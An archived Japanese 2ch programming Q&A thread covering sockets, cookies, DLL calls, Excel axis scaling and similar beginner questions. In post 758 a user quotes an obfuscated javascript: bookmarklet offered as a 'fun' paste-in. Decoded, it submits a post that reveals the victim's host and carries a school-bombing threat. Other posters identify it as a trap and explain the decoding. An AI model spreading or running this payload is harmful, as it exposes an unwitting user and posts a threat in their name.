データの所有権はネトゲ提供会社にある
それをネトゲ提供会社が提供していない手段で不正に書き換えてるので罪である
とかいう解釈を見たことがある
0580デフォルトの名無しさんNGNG
セーブデータ改変ネタでも訴えられてたっけ
メーカーの思惑如何か
0581デフォルトの名無しさんNGNG
板違い
0582デフォルトの名無しさんNGNG
データ改変により、著作者が予定している範囲を
逸脱した場合、同一性保持権の侵害になる。
個人的には「なんだかなぁ」だが
判例がある以上、どもならん。
(ときメモ事件・DOA2事件)
0583デフォルトの名無しさんNGNG
まあなんにしろ、ここで言語聞いてくる時点で不可能だろうな
倉改変で升するのか刷毛いじって升するのかのビジョンすらない
倉改変する能力も刷毛解析する能力もないだろう
0584デフォルトの名無しさんNGNG
まぁ、今から始めようという人はメモリやネットワーク、プログラミングなどの
知識が少ないからすぐにはできないだろうけれど、結構総合的な知識が必要だよね。
あ、プログラミングはへたくそでもできそうか。
でもある程度はできないと話にならないね。
最低限386のアセンブリは知っておかないとダメ。
0585デフォルトの名無しさんNGNG
>>583はとりあえず用語を言ってみたかっただけだろうな
0586デフォルトの名無しさんNGNG
VC++のCAsyncSocketで
データの送受信するときに、
送信側1500バイトづつ転送してるとします。
サーバー側で受け取るのですが、一回目のOnReceiveで受け取ったデータが消えます。
たぶんOnReceive中に次のOnReceiveが呼ばれるせいだと思うのです。
sleepで若干ウェイト掛けるとうまくいきます。
ウェイトかけずに正確に取る方法はどのような方法があるのでしょうか?

ご存知の方よろしくお願いいたします。
0587デフォルトの名無しさんNGNG
言語選択に迷う(何がしたいかわかってない)以上、何もできないだろう、ってのは同感だな
自分で選べない奴に何かができるとは思えねー
0588デフォルトの名無しさんNGNG
非同期なCAsyncSocket使うのやめたら?
0589586NGNG
>588
CSoketの方がいいですか?
ちょっと作ってみます。
0590マイク ◆yrBrqfF1Ew NGNG
そういやCSocketには欠陥があるとかなんとかwinsock FAQにあったな。
0591デフォルトの名無しさんNGNG
多分だけど、この場合はクラス、ライブラリの欠陥による問題じゃないだろうし、
Sleepで見かけ上不具合を隠すよりはマシだろうと
0592デフォルトの名無しさんNGNG
>>586
OnReceiveの中でどんな処理してる?
スレッドで処理させてて、スレッドセーフじゃない関数使ってるだけじゃないの。
0593586NGNG
>590 591 592

いろいろレスありがとうございます。
まだ、勉強したばっかりなもんで・・・

OnReceiveの中では、受け取ったデータをファイルに書き出しています。
fp.Write(buf,len);

こんな感じ

元は簡単なメッセージを送るサンプルを使ったんですけど。
ファイルを送れないかなと、改造してみてます。
0594デフォルトの名無しさんNGNG
もうFAQ中のFAQだと思うのですがどうしてもわかりません。
cppで書いていますが、C#でもVBでも同じだと思います。

AssemblyInfo.cpp

[assembly:AssemblyCompanyAttribute("My Company")];
[assembly:AssemblyVersionAttribute("0.0.*")];

HogeHogeForm.cpp

System::Reflection::AssemblyName *name = System::Reflection::Assembly::GetExecutingAssembly()->GetName();

labelName->Text = Application::CompanyName; //何も入ってない?
labelVersion->Text = String::Format(S"{0} Version {1}", name->Name, name->Version);

Application::CompanyNameは空っぽですた…。
どうやったらAssemblyInfoで設定したCompanyNameを取得できるのでしょう?
0595586NGNG
基本に戻りWinSock2の同期型でファイル転送ができました。
90Kb/sの速度が出ましたが、速度を上げることはできるのでしょうか?
非同期にすると速度は上がりますか?
ちなみにテスト環境では、実用速度10Mと12Mの回線です。
0596デフォルトの名無しさんNGNG
>>595
やってみなさい
0597586NGNG
>596
了解っすw
明日組みなおしてみます
0598デフォルトの名無しさんNGNG
そもそも同期で90kb/sってありえない。
先に回線がタコなのかコーディングがタコなのか調べたほうがいい。
0599586NGNG
サンプル改造してるんで大した事はしてないんだけどなぁ
送信側はファイル開いて、送信。
受信側は受け取ったデータをファイルに書き出してます。
ファイルはCFileを使用。
他のサイトから普通にDLするときは400k/sとか出てるのになぁ・・・


送信側
fz=fp.Read(buf,BUFFER_SIZE);
send(dstSocket, buf, fz, 0);
実際はループしてます。

受け側
while(1) {
numrcv = recv(dstSocket, buffer, BUFFER_SIZE, 0);
if(numrcv == 0 || numrcv == -1) {
status = closesocket(dstSocket); break;
}
fp.Write(buffer,numrcv);
}

とりあえず明日再挑戦です。
0600デフォルトの名無しさんNGNG
VC++でIEコンポーネントのブラウザ作る課題があるんだけど、useragentの変え方がわからないので教えてください。
0601デフォルトの名無しさんNGNG
二台のHDD間で同期しながらオートマチッキングのバックアッピングしたいのですが
0602デフォルトの名無しさんNGNG
>>601
精神病院でみてもらって来てからにして下さい。
0603甘辛炒めNGNG
こんばんわ。夜分遅くにすみません。
「ヤフオクスナイパー☆2」みたいな実行ファイルを自分で作ってみたいのですが、
どう勉強すればいいのかの、取っ掛かりがつかめません。
本屋さんで立ち読みしたところ、C言語を始め色々な言語があり、ドレがドウ違うのかわからず、
四苦八苦しています。今日は図書館で読んでいたのですがチチンプイプイです。
CGIは少し分かります。VBはほ〜んの少し分かります。

どうか私に取っ掛かり口を作っていただけませんか?
長文失礼しました。
0604デフォルトの名無しさんNGNG
ぐーぐる専制にも見つけられないみたいだがそれはなんだ。
なんとなく予想はつくが。
0605デフォルトの名無しさんNGNG
専制→先生
0606デフォルトの名無しさんNGNG
>>605
ヤフオクスナイパー じゃなくて スナイパー☆2 のことだな、多分。
0607デフォルトの名無しさんNGNG
>>603
まずはアセンブリ言語から始めるとよいです。
「はじめて読む8086」あたりから頑張ってください。
0608デフォルトの名無しさんNGNG
>>607
アセンブラから入門するって今時時代遅れなんじゃない?
昔は確かに、アセンブラorBASIC→Cみたいな流れがあったけど・・・
今は普通にC++から初めて良いと思うよ。
0609デフォルトの名無しさんNGNG
>>608
ネタにマジレスしないでください!
お願いだから空気読んで!!
0610デフォルトの名無しさんNGNG
ワラタ
0611デフォルトの名無しさんNGNG
>>>>>603
Ruby!!!!!!!!!!!!!!!
0612MorimotoNGNG
2chってなに?
0613デフォルトの名無しさんNGNG
学校のそれぞれのパソコンからCGIにデータを送ってもらうスクリプト書いてるんですが、
どのパソコンからのデータかを調べて2重だったら上書き、
みたいな事をするにはどの環境変数を見たら良いでしょうか?
0614デフォルトの名無しさんNGNG
IPアドレスを見るか、
クッキーやCGIデータにパソコン固有の情報を仕込む。
0615デフォルトの名無しさんNGNG
以前自分のと隣のパソコンの環境変数$REMOTE_ADDRをチェックして、
一致していたのでIPアドレスは使えないと思っていたんですが・・・
具体的に教えてくだされば幸いです。
0616デフォルトの名無しさんNGNG
CGIを置いたサーバと各PCは同一LAN上にあるの?
その場合には同じIPアドレスって事はない筈だけど。
CGIは外にあって、そこに複数のPCがグローバルIPアドレスを共用してアクセスする場合は、
CGIから見るとゲートウェイのIPアドレスになるのでREMOTE_ADDRは使えない。
614の言うように識別用のIDを発行してCoockie等で管理する。
0617デフォルトの名無しさんNGNG
ウィンドウを隠す時、タスクバーにウィンドウが移動するアニメーションがあるやん?
こういうちょっとしたアニメーションをDoする時ってスレッド使った方がいいの?
0618デフォルトの名無しさんNGNG
☆保守性の良いプログラミング☆

条件テーブル名:「table.txt」とする
データは空白で区切られている
====================
(実行画面)
>プログラム名↓
点数?75↓
評価:良
点数?35↓
評価:不
点数?^Z
>
===================
(内容)
下限〜上限 評価
 0 59  不
60 69  可
70 79  良
80 100 優
===================

#inculde<stdio.h>
#inculde<process.h>

void main(void)
{
FILE *fp;
/* 以下をコーティングしてください */
0619デフォルトの名無しさんNGNG
外のCGIを動かすつもりなので、cookieを使おうと思います。
少し調べてみたんですが、cookieに個々のパソコンの情報を記述する事が出来るんでしょうか?
よく分からないので方法をお願いします。
0620デフォルトの名無しさんNGNG
Webプログラミング
http://pc5.2ch.net/php/
0621デフォルトの名無しさんNGNG
void main(void) なんてヤダ
入力ファイル名を引数で与えるのではなく固定なのに、
定数を定義してない時点で保守性とかウアウアウアウア
結論を言うと宿題スレ逝け
0622デフォルトの名無しさんNGNG
>>619
当然だけど、クッキーには何でもかけるよ。

掲示板なんかでも名前と内容を送信するでしょ?
名前はクッキーに入ってたりするよね?
これ使えば区別できるよね?
具体的なやり方は>>620にいきましょう。
0623甘辛炒めNGNG
608さんありがとうございました。
図書館いってきます
0624デフォルトの名無しさんNGNG
ひとつ訊きたい事があります。
cookieって使われる側に入力してもらわないと使えませんか
0625デフォルトの名無しさんNGNG
>>624
適切な板で聞けないのか?
0626デフォルトの名無しさんNGNG
すいません度忘れしてました、吊ってきます
0627600NGNG
スルーされてるのでお願いします。
0628デフォルトの名無しさんNGNG
>>627
お前は今まで自分で調べもせずにボーっとしてたのか?
少し調べれば出てくるだろ?
UrlMkSetSessionOption
0629デフォルトの名無しさんNGNG
>>627
UrlMkSetSessionOptionかな?
0630デフォルトの名無しさんNGNG
おまえはふかわりょうかよ
おまえはふかわりょうかよ
0631600NGNG
>>628
ああ、サンクス
一言多いんだよおめーはよ
0632デフォルトの名無しさんNGNG
>>631
この低脳め。
0633デフォルトの名無しさんNGNG
キタ━━━━━━(゚∀゚)━━━━━━ !!
態度でけーーーのが!!
0634デフォルトの名無しさんNGNG
VC++6.0環境でDLL内のA関数を呼び出したいと思ったらどうすれば呼べますでしょうか?
0635デフォルトの名無しさんNGNG
LoadLibrary & GetProcAddress
0636デフォルトの名無しさんNGNG
MP3を再生するプログラムを作ってるんですが、PCの機種によって再生速度が
違います。これって仕様ですか?
解決できないものなんでしょうか?
0637デフォルトの名無しさんNGNG
>>636
他人にわかるように説明しろ
0638636NGNG
同じMP3ファイルを性能の異なったPCにコピーして、メディアプレイヤーで
それぞれ同時再生したら性能の良いPCの方が段々とテンポが速くなってきたのです。
0639デフォルトの名無しさんNGNG
>>638
PCが自動クロックアップしたりするマザーボードじゃないだろうな
0640デフォルトの名無しさんNGNG
Windows板に帰れ
0641デフォルトの名無しさんNGNG
>>638
同じソフトで動かして(しかもMS製)そうなるなら仕様じゃないの?
自前で時間調整して再生すれば?
0642デフォルトの名無しさんNGNG
再生用コーデックが変になってる可能性、
つか、WMPの問題だろー
0643600NGNG
>>628-629
ありがとう。助かったよ。


>>631
お前は誰だよ!このバカ!
0644デフォルトの名無しさんNGNG
まあもちつけ
0645デフォルトの名無しさんNGNG
>>643
ボーっとしてるからだな
0646デフォルトの名無しさんNGNG
うちのクラスにアスペルガーが一人いるんですが、彼に、
プログラミングに興味を持たせるにはどうしたらいいですか?
0647デフォルトの名無しさんNGNG
rrrrrrrrrrrrrrrruuuuuuuuuuuuuubbbbbbbbbbbbyyyyyyyyyyyyyyyyyy
0648デフォルトの名無しさんNGNG
今まで300行前後のプログラムはちょくちょく読んでいたのですが
突然、全部で5000行近いソースコードを読まなければならなくなってしまいました。
そこで質問なのですが、比較的大きめのソースコードを読むときの
コツのようなものがあれば教えて欲しいのですがなにかありますでしょうか?
またソースコードを読むのに役立つツールなどもあればご教授ください。
書かれている言語はC言語です。
0649デフォルトの名無しさんNGNG
>>648
1関数5000行ってわけじゃないんだろ?
0650デフォルトの名無しさんNGNG
Doxygenでオプション全部Onにして解析
0651デフォルトの名無しさんNGNG
>>648
grep find ctags sed awk
0652デフォルトの名無しさんNGNG
>>648
動かしてみる
0653デフォルトの名無しさんNGNG
プログラミング歴3ヶ月のやつが書いてった数千行のコードを読むのはまさに苦痛だったね・・・。
0654デフォルトの名無しさんNGNG
>>648
使われているデータ構造を先にリストアップして把握
0655デフォルトの名無しさんNGNG
ったく、みんな何言ってるんだ?
仕様書読めばいいだろ
0656デフォルトの名無しさんNGNG
仕様書の通りにつくられてるわけないだろ
or
仕様書なんて役に立つようにはつくられてない
0657デフォルトの名無しさんNGNG
ツール使えばいいじゃん
0658デフォルトの名無しさんNGNG
>>656
そもそも仕様書なんてない
0659デフォルトの名無しさんNGNG
質問です。
A=Bかつ
C=Dかつ
E=F

もしくは

A=Bかつ
C=Dかつ
K=L

をifで表す場合

if( (A==B&&C==D) && (E==F||K==L) )
でしょうか?
それとも
if( A==B&&C==D&&E==F&&C==D||K==L)
なんでしょうか?
どちらも何故か上手く行かずに・・・(汗
0660デフォルトの名無しさんNGNG
>>659
上ので(というか、if (A==B && C==D && (E==F || K==L)) で)良かろう。
それでダメってことは、元のコード(に近いもの)を晒して
間違い探しをしてもらう必要があるだろうね。
0661デフォルトの名無しさんNGNG
たまに初期化のときに見る
unsigned int xxx:4
こういう :数字 ってどういう意味なのでしょうか?
0662デフォルトの名無しさんNGNG
>>661
言語が不明なので、分からないけど

C/C++だったら、ビットフィールド

0663デフォルトの名無しさんNGNG
TurboLinux8Server + Perl で書いてますが、
よくレンタルカウンターなんかで、まったく違う外部からのjavaか
img src= での呼び出しなんですが、それをまねて作ってみたんです。

index.htmlに簡単な文字(print "外部cgi出力文字";)を<script language="Javascript" src="
を使ってやってみたのですが、うまく出力されません。
このへんのテクはどうやっているんでしょうか?

SSIとかを使用するのではなく、外部のファイルを参照したいのですが、
(同一サーバーから読み込むのではなく、外部のサーバーの情報を読みたい)
ご存知でしたら教えてください、お願いします。m(_ _)m
0664デフォルトの名無しさんNGNG
うまくいかないのは板が違うからだな
0665663NGNG
読み返してみたら、まったく意味不明なので追記
Aサーバー
index.html
 Bサーバーのtest.cgiの文字です。<br>
 <script language="Javascript" src="bサーバー/test.cgi"></script>

Bサーバー
test.cgi
print "Content-type: text/html\n\n";
print "外部cgi出力文字";

として、Aサーバーに設置したindex.htmlにBサーバーの文字を表示させたいのです。
よろしくお願いします。
0666663NGNG
>>664
プログラムではないのでしょうか?

一応、Linuxは正常に動いてるっぽいですが。
www,ssi,sslともに正常に動作しています。
0667デフォルトの名無しさんNGNG
>>663
Javascript は Web 制作板、CGI は Web プログラミング板へ。

Webプログラミング
http://pc5.2ch.net/php/
0668663NGNG
なるほど、誘導されますね。
0669デフォルトの名無しさんNGNG
グラフ描画のアルゴリズムについて質問です。

グラフ描画自体のアルゴリズムは分かるのですが、
グラフのY軸の目盛りのアルゴリズムがわかりません。
例えばExcelとかで最小値12.3、最大値123.4の
折れ線グラフを表示した時、
・Y軸目盛りの目盛り間隔は20
・最大目盛りは140
となり、0,20,40,60,80,100,120,140のY軸目盛りが
表示されますが、あれはどのようなアルゴリズムで
表示されているんでしょうか?
よろしくお願いします。
0670アセンブラ初心者NGNG
Windows XP使ってるんですが、逆アセンブル、デバッガ等のツールって何使ったらいいんでしょうか?
使いやすいツールあったら教えてください。

ちなみにVisual Studio 2003 .NETはインストールしてます。
実行ファイルのアセンブラコードとか追っていくにはどうしたらいいんでしょうか?

知ってる方がいましたら、アドバイスお願いします。


0671デフォルトの名無しさんNGNG
ハッキングやクラッキングにも使えるので
基本的に「フリーで高性能」のものは公開されていない。

それに、有っても教えない。
ハックラツールは自分がやってウハウハ言いたいので教えたくないもの。
0672デフォルトの名無しさんNGNG
>>670
>ちなみにVisual Studio 2003 .NETはインストールしてます。
…。
……。
Σ( ゚Д゚) 持ってんなら使えよ!
0673デフォルトの名無しさんNGNG
VS6.0 Pro academic 使ってるんですけど
卒業してアカデミックじゃなくなってもそのまま使えるんですか?
0674デフォルトの名無しさんNGNG
つかえません
0675デフォルトの名無しさんNGNG
>>670
>ちなみにVisual Studio 2003 .NETはインストールしてます。
>実行ファイルのアセンブラコードとか追っていくにはどうしたらいいんでしょうか?
ビルドの設定を変えれば、アセンブラ出力できるけど
そういうことを知りたいんじゃないよね・・・
0676デフォルトの名無しさんNGNG
>>>669
最大値と最小値から、
目盛り間隔と目盛り最大値を適当に計算してるだけでは?
アルゴリズムってほどのことではないと思うが。
Excelがどうやってるかってんならもっとサンプルがないとわからん。
0677デフォルトの名無しさんNGNG
>>671
今時ollydbgを知らないやつも珍しいと思うが…
0678デフォルトの名無しさんNGNG
Visual C++ .net
ユーザー登録可能な物がオークションに出てるのですが
買っても問題ないのでしょうか?

コピーした商品はユーザー登録できないと思いますので
0679デフォルトの名無しさんNGNG
>>678
MSに問い合わせろ
0680デフォルトの名無しさんNGNG
つか、MSの前に出品者に問い合わせるべきでは?
0681デフォルトの名無しさんNGNG
>>676
>最大値と最小値から、
>目盛り間隔と目盛り最大値を適当に計算してるだけでは?
その適当な計算を教えてください。
0682デフォルトの名無しさんNGNG
少しでも不安があるなら店頭で買った方がいいよ。
詐欺とかだったらめんどくさい。
0683デフォルトの名無しさんNGNG
>>670
tp://www.microsoft.com/japan/msdn/library/ja/vsdebug/html/_core_viewing_disassembly_code.asp
0684デフォルトの名無しさんNGNG
>>681
じゃあ適当に。
目盛りは20間隔で0,20,40,60・・・と最大値を超えるまで表示する。
0685デフォルトの名無しさんNGNG
>>684
馬鹿は無理してレスつけなくてもいいよ。
0686デフォルトの名無しさんNGNG
>>685
なんだこれじゃ不満か?これで669の条件の描画がバッチリできるだろ。
0687デフォルトの名無しさんNGNG
>>686
>>685
0688デフォルトの名無しさんNGNG
>>686
sageている奴は質問者じゃないと思う。無視が一番。
0689デフォルトの名無しさんNGNG
>>684
669です。
最小値、最大値は可変なので、例えば最大値が1234.5とかなら
目盛り間隔を20固定だと…(Y軸の高さは決まっているので…)
どうやって最小値、最大値がカバーできるような切りのいい数値を
求めているのでしょうか?
どなたか計算方法分かる方、お願いします。
0690デフォルトの名無しさんNGNG
>>689
アホかお前。頭、メロンパン入れか?
0691デフォルトの名無しさんNGNG
そういうことを言うから>>685みたいな奴が出てくるんだ。
0692デフォルトの名無しさんNGNG
>>689
Y軸の高さが決まってるなら割り算すればいいだろう・・・
0693デフォルトの名無しさんNGNG
馬鹿ばっか
0694デフォルトの名無しさんNGNG
>>689
マクロ適当に組んで、最小値・最大値を振って
グラフを生成してみれば?

ある程度やれば、どういう式か分かるんじゃない?
0695アセンブラ初心者NGNG
>>671

知らなかったです・・・
ありがとうございました。
0696デフォルトの名無しさんNGNG
まず差をとって場合わけ
差が11未満なら2
110未満なら20
1100未満なら200
0697デフォルトの名無しさんNGNG
669です。
まだY軸の目盛りの付け方わかりません。。。
エクセルでは
最小値12.3、最大値123.3 の時、
0, 20, 40, 60, 80, 100, 120, 140と目盛りが振られ、
最小値0.123、最大値0.234の場合、
0, 0.05, 0.1, 0.15, 0.2, 0.25と目盛りが振られます。
この目盛り間隔と、目盛りの最大値の計算方法が
分かりません。。。
どんな計算で↑のような目盛りの値を求めてるのでしょうか?
0698デフォルトの名無しさんNGNG
>>697
愚だ愚だ考える前にもっとデータを集めろ。
0699デフォルトの名無しさんNGNG
まず「きりのいい数値」を定義しろ、
つぎの実際の最小値と最大値にもっとも近い「きりのいい数値」を割り出せ。
0700デフォルトの名無しさんNGNG
超初心者で申し訳ないのですが、windowsXPでLightCを使っています。
実行ファイルの実行結果はコマンドプロンプトに表示されるのですが、
これをデータとして使いたいため、実行結果をコピペする方法か
実行結果をテキストファイルに表示させる方法を教えてください。
お願いします。
0701デフォルトの名無しさんNGNG
>>700
hoge.exe > text.txt
0702デフォルトの名無しさんNGNG
意味がわかりません、説明して下さい。
0703デフォルトの名無しさんNGNG
っっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっっp
0704デフォルトの名無しさんNGNG
問題
三位の国を追い抜いた国は何位になる?
0705デフォルトの名無しさんNGNG
その情報だけでは順位はきまらん
0706デフォルトの名無しさんNGNG
マジレスなんだが。
だれか、簡単なCプログラミングの課題を与えてくれないだろうか?


0707デフォルトの名無しさんNGNG
宿題スレいけば喜んでもらえる。
0708デフォルトの名無しさんNGNG
>>706
宿題スレ行けば?
0709デフォルトの名無しさんNGNG
>>706
宿題スレとその過去スレに腐るほどあるだろ
0710デフォルトの名無しさんNGNG
怒涛のつっこみ
0711デフォルトの名無しさんNGNG
行ってきます
0712デフォルトの名無しさんNGNG
その前にちゃんとsageろ
0713デフォルトの名無しさんNGNG
sageてるよ
0714デフォルトの名無しさんNGNG
>>706
tailクローンでも作っとけ
0715デフォルトの名無しさんNGNG
>>706
じゃぁ、Forest-Fireのシミュレーションのアニメーションをせよ。
GUIは好きにしてよろしい。
0716デフォルトの名無しさんNGNG
>>715さん
 レスありがとうございます。とても興味深いです。
0717デフォルトの名無しさんNGNG
>>716
お前は二度と書き込みをするな。
0718デフォルトの名無しさんNGNG
あのBorland C++ ってWinXP上にインストールすると
出来ないか何かしらのエラーかバグが出るって聞いたのですが
でるのでしょうか?
Verが古いってゆうのも気になっております。
Ver.5.0Jってかなり古いものです。
教えてください
0719デフォルトの名無しさんNGNG
>>718
言った奴に聞けよ
0720718NGNG
>>719 ちょっとソース元は忘れてしまったので。。。
どこかのサイトか何かのBBS等の書き込みだったような気がしたのですが
わからなかったもので。。。
0721デフォルトの名無しさんNGNG
>>720
Borlandに聞けよ
0722デフォルトの名無しさんNGNG
>>716
もはや調べただろうけれど、この出題の意図はセルラオートマトン
の考えかたを学ぶことにある。
0723たまには意味なく昔を振り返ってみるNGNG
ドラゴンクエストI (1986年5月27日発売)
ドラゴンクエストII (1987年1月26日発売)
ドラゴンクエストIII (1988年2月10日発売)

平行しているのだから当然だが
今と比べたらとんでもない発売の早さと

当時のおいどんの歳の若さに思わず溜息。
0724デフォルトの名無しさんNGNG
>>723
データ量、ボリュームまったく違うだろ
0725718NGNG
XPでも動くようです
やったほうが早かった
0726デフォルトの名無しさんNGNG
>>725
ハァ?何言ってんだこいつ
起動するのと全部の機能動くのとは全然違うぞボケ
0727デフォルトの名無しさんNGNG
>>726
くだらない絡み方すんなよ中学生
0728デフォルトの名無しさんNGNG
今のゲームでもそうだが、
I 作ってるその横でII が進行していることはおかしくない
というかほぼ100%それ
0729716NGNG
とりあえず勉強したいだけなので
コンパイルして実行できたのでよしとしました。
0730716NGNG
しかし変なことになるのですが、
例えば
#include <stdio.h>

main()
{
printf("我輩は猫である\n");
printf("名前はまだない\n");

return 0;
}
みたいな本に載ってた通りの間違いないプログラム(まぁこれがプログラムかどうかはさておき)
打つじゃないですか
してコンパイルして実行すると
8行目のreturn 0;
のところが絶対にエラーになるんです。
ここだけ文字が太くでるんです。
別の書体みたいに。
なんでですかね〜?
本の通り打ってるのでまちがってはいないと思うのですが?
教えていただけると幸いです
0731デフォルトの名無しさんNGNG
>>730
お前な、スレくらい選べ。エラーメッセージくらい書け。少しは自分で考えろ。
0732デフォルトの名無しさんNGNG
>>730
int main
にしてみな
0733デフォルトの名無しさんNGNG
BorlandのCは省略時 intにならないのか?!
0734デフォルトの名無しさんNGNG
cpp
0735デフォルトの名無しさんNGNG
>>723
あと
・海外RPGがお手本
・1,2,3はバージョンアップ型だから開発が速い
ってのもあると思う。
0736デフォルトの名無しさんNGNG
bccでコンパイルしても警告すら出ないけど?
0737デフォルトの名無しさんNGNG
ウインドーズのアプリケーションで、
スレッドを使わずに何かを処理してる最中にウィンドウをクリックされたら、
その処理が終わった後にマウスクリックのメッセージが送られてくるの?
それとも処理中だとメッセージは無視されるの?
0738デフォルトの名無しさんNGNG
>>737
メッセージキューにたまる
0739デフォルトの名無しさんNGNG
>>738
どうもです
0740デフォルトの名無しさんNGNG
ASPからADSIを使用して、ActiveDirectoryの認証を行いたいのですが
この際に、パスワード有効期限切れや、アカウントロック中などのメッセージを
必要に応じて表示させたいと思います。
上記情報のパラメータ(?)の取得方法をお教え願いたいのですが。

また、ADSIのバージョン確認法も教えていただきたく思います。
よろしくお願いします。
0741デフォルトの名無しさんNGNG
↓
Webプログラミング
http://pc5.2ch.net/php/
0742740NGNG
ありがとうございます。
そちらできいてみます。
0743デフォルトの名無しさんNGNG
foo, bar, の続きってありましたっけ…?
たしかwooとかにつながった気がするのですが。
foobarとの関連も気になる。
0744デフォルトの名無しさんNGNG
>>743
RFCを見れば解決できるかもしれない。
0745デフォルトの名無しさんNGNG
fooのスレもあった気がするけど、残ってるのはこれくらいか

"hoge(ほげ)"って何よ?
http://pc5.2ch.net/test/read.cgi/prog/1076244748/l50
0746デフォルトの名無しさんNGNG
>>743
baz
0747rNGNG
make について質問なのですが
一部のファイルだけオプティマイズしたく
(他は
.c.o:
${CC} -o $@ ${CFLAGS} $< )

OPTOBJS:
${CC} -o $@ -O ${CFLAGS} $<

のように書いているのですが
(OPTOBJSだけオプティマイズ)
うまくいきません

どのようにすればよいでしょうか

0748デフォルトの名無しさんNGNG
Windowsで特定の場所にカーソルを置くと説明書きがニュッと出ますが
VisualBasicにこういう機能はありますか?あと機能の名前を教えて下さい。
0749デフォルトの名無しさんNGNG
ToolTipText
0750デフォルトの名無しさんNGNG
>>749
高速返答ありがとうございます。
やっぱり2ちゃんは最高ですね。
0751デフォルトの名無しさんNGNG
      ./       ;ヽ 
      l  _,,,,,,,,_,;;;;i <いいぞ ベイべー!
      l l''|~___;;、_y__ lミ;l  質問する奴は厨房だ!!
      ゙l;| | `'",;_,i`'"|;i |  回答する奴は2chにはまってる厨房だ!!
     ,r''i ヽ, '~rーj`c=/ 
   ,/  ヽ  ヽ`ー"/:: `ヽ
  /     ゙ヽ   ̄、:::::  ゙l, ホント マ板は最高だぜ! フゥハハハーハァー
  /     ゙ヽ   ̄  i::::: ゙l丶        ________
 |;/"⌒ヽ,   \__/ ヽ: _l i       /         /
 l l    ヽ         |__i      /         /
 ゙l゙l,     l,          | i      ../   FMJ   ./
 | i_,,,,---' ヽ       / i     ./         /
 /"ヽ     'j_/ヽヽ, ̄ ,,,/"'''''⊃_./______./
/  ヽ    ー──''''''""(;;) `゙,j __(==)_∞_丿
0752669NGNG
昨日のグラフ目盛りの件、まだ解決していません。。。

エクセルで最小値、最大値を入力してグラフ表示させて
下記のようなサンプリングをしてみました。
しかしこれを式にすることが出来ません。。。

最小値最大値差分目盛間隔目盛Max目盛の数
0.010.020.010.0050.0255
0.010.050.040.010.066
0.010.10.090.020.126
0.010.20.190.050.255
0.010.480.470.10.66
0.010.960.950.21.26
0.011.911.90.52.55
0.014.84.79166
0.019.539.522126
0.0119.119.95255
0.014847.9910606
0.0195.395.29201206
0.01190.5190.49502505
0.01476.2476.191006006
0.01952.4952.3920012006
0.0119051904.9950025005
0.0147624761.99100060006

目盛りの最大値、目盛りの間隔を求める式が分かる方、
ご教授お願いします。
0753デフォルトの名無しさんNGNG
>>752
明らかにいた違いの話をなぜいつまでも引っ張るのですか?
そんなもんエクセルのグラフ表示作ったやつに聞けよ。
もしくは1000個くらいサンプル取って数学板に持ってけば酔狂なやつが教えてくれるかもしれん。
0754669NGNG
↑すみません。 タブが詰まってわけわからん状態になってました^^;

最小値 最大値 差分 目盛間隔 目盛Max 目盛の数
0.01 0.02 0.01 0.005 0.025 5
0.01 0.05 0.04 0.01 0.06 6
0.01 0.1 0.09 0.02 0.12 6
0.01 0.2 0.19 0.05 0.25 5
0.01 0.48 0.47 0.1 0.6 6
0.01 0.96 0.95 0.2 1.2 6
0.01 1.91 1.9 0.5 2.5 5
0.01 4.8 4.79 1 6 6
0.01 9.53 9.52 2 12 6
0.01 19.1 19.9 5 25 5
0.01 48 47.99 10 60 6
0.01 95.3 95.29 20 120 6
0.01 190.5 190.49 50 250 5
0.01 476.2 476.19 100 600 6
0.01 952.4 952.39 200 1200 6
0.01 1905 1904.99 500 2500 5
0.01 4762 4761.99 1000 6000 6
0755デフォルトの名無しさんNGNG
嫁ねよー
0756デフォルトの名無しさんNGNG
間隔は1→2→5で推移してんじゃん
最低値きめて大きくしていって、目盛りの数が一番少ないのを使えば?
0757デフォルトの名無しさんNGNG
あー、最低値じゃなく初期値か、そっから上げ下げ
0758デフォルトの名無しさんNGNG
1、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e7
6616c75653d2766757369616e6173616e273b4d4553534147452e76616c75653d27
5c75356236365c75363832315c75333039325c75373230365c75366365325c7533
3035375c75333037655c7533303539273b7375626d69742e636c69636b28293
b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

2、
改行を外して1行にする。

3、
1行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

4、
Enterを押す(もしくは「移動」をクリックする)。

馴染みの板でこんなの張られたんですけど、これ何が起こるんですか?
おもしろいからやってみろ、と言うんですが、怖くて出来ません。ブラクラですか?
0759デフォルトの名無しさんNGNG
>>758
感でフシアナトラップ
0760デフォルトの名無しさんNGNG
>>759
勘っすか…
0761マイク ◆yrBrqfF1Ew NGNG
>>758
自分自身をデコードして実行すんだから
自分でデコードしてコードよみゃいいだろうが
0762デフォルトの名無しさんNGNG
>>761
意味が分からん
デコだかなんだか知らんが
もっと分かりやすく教えろ
0763デフォルトの名無しさんNGNG
勘じゃなくてもフシアナトラップ
0764デフォルトの名無しさんNGNG
二文字切り取って%付けてURIアンエスケープすると、
JavaScriptのコードになる、それをevalで実行してる。
文章自体もさらにエスケープされてる。
文章が誤字ってるのは、最後の良心かね。
0765669NGNG
>>756
>>757
…すみません、もう少し詳しく教えてください。
0766デフォルトの名無しさんNGNG
eval(unescape(e)); これを
document.write(str=unescape(e)); こうすれば大体の結果は見れる。
0767デフォルトの名無しさんNGNG
ffftpでホームページを1時間に一回とか自動的にアップロードできるようにしたいのだが。
0768デフォルトの名無しさんNGNG
プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
0769デフォルトの名無しさんNGNG
しかしなぜffftpなのか
他のftpクライアントではだめなのか
疑問は尽きない
だが板違いだ
0770デフォルトの名無しさんNGNG
DLL側でこんなコードがあって、

typedef struct _A { int a,b; } A;

A* __declspec(dllexport) __stdcall Create()
{
return malloc(sizeof(A));
}

呼び出し側でこうやると、

main()
{
A* a;
int n = 1;
a = Create();
printf("%d",n); // 変な値になる
}

メモリリークが起きるみたいなんだけどなんで?
0771デフォルトの名無しさんNGNG
変な値にはならんだろ・・・
0772デフォルトの名無しさんNGNG
>>770
利用する側が利用するCreate関数の宣言に_stdcall修飾詞がついてないとか
0773デフォルトの名無しさんNGNG
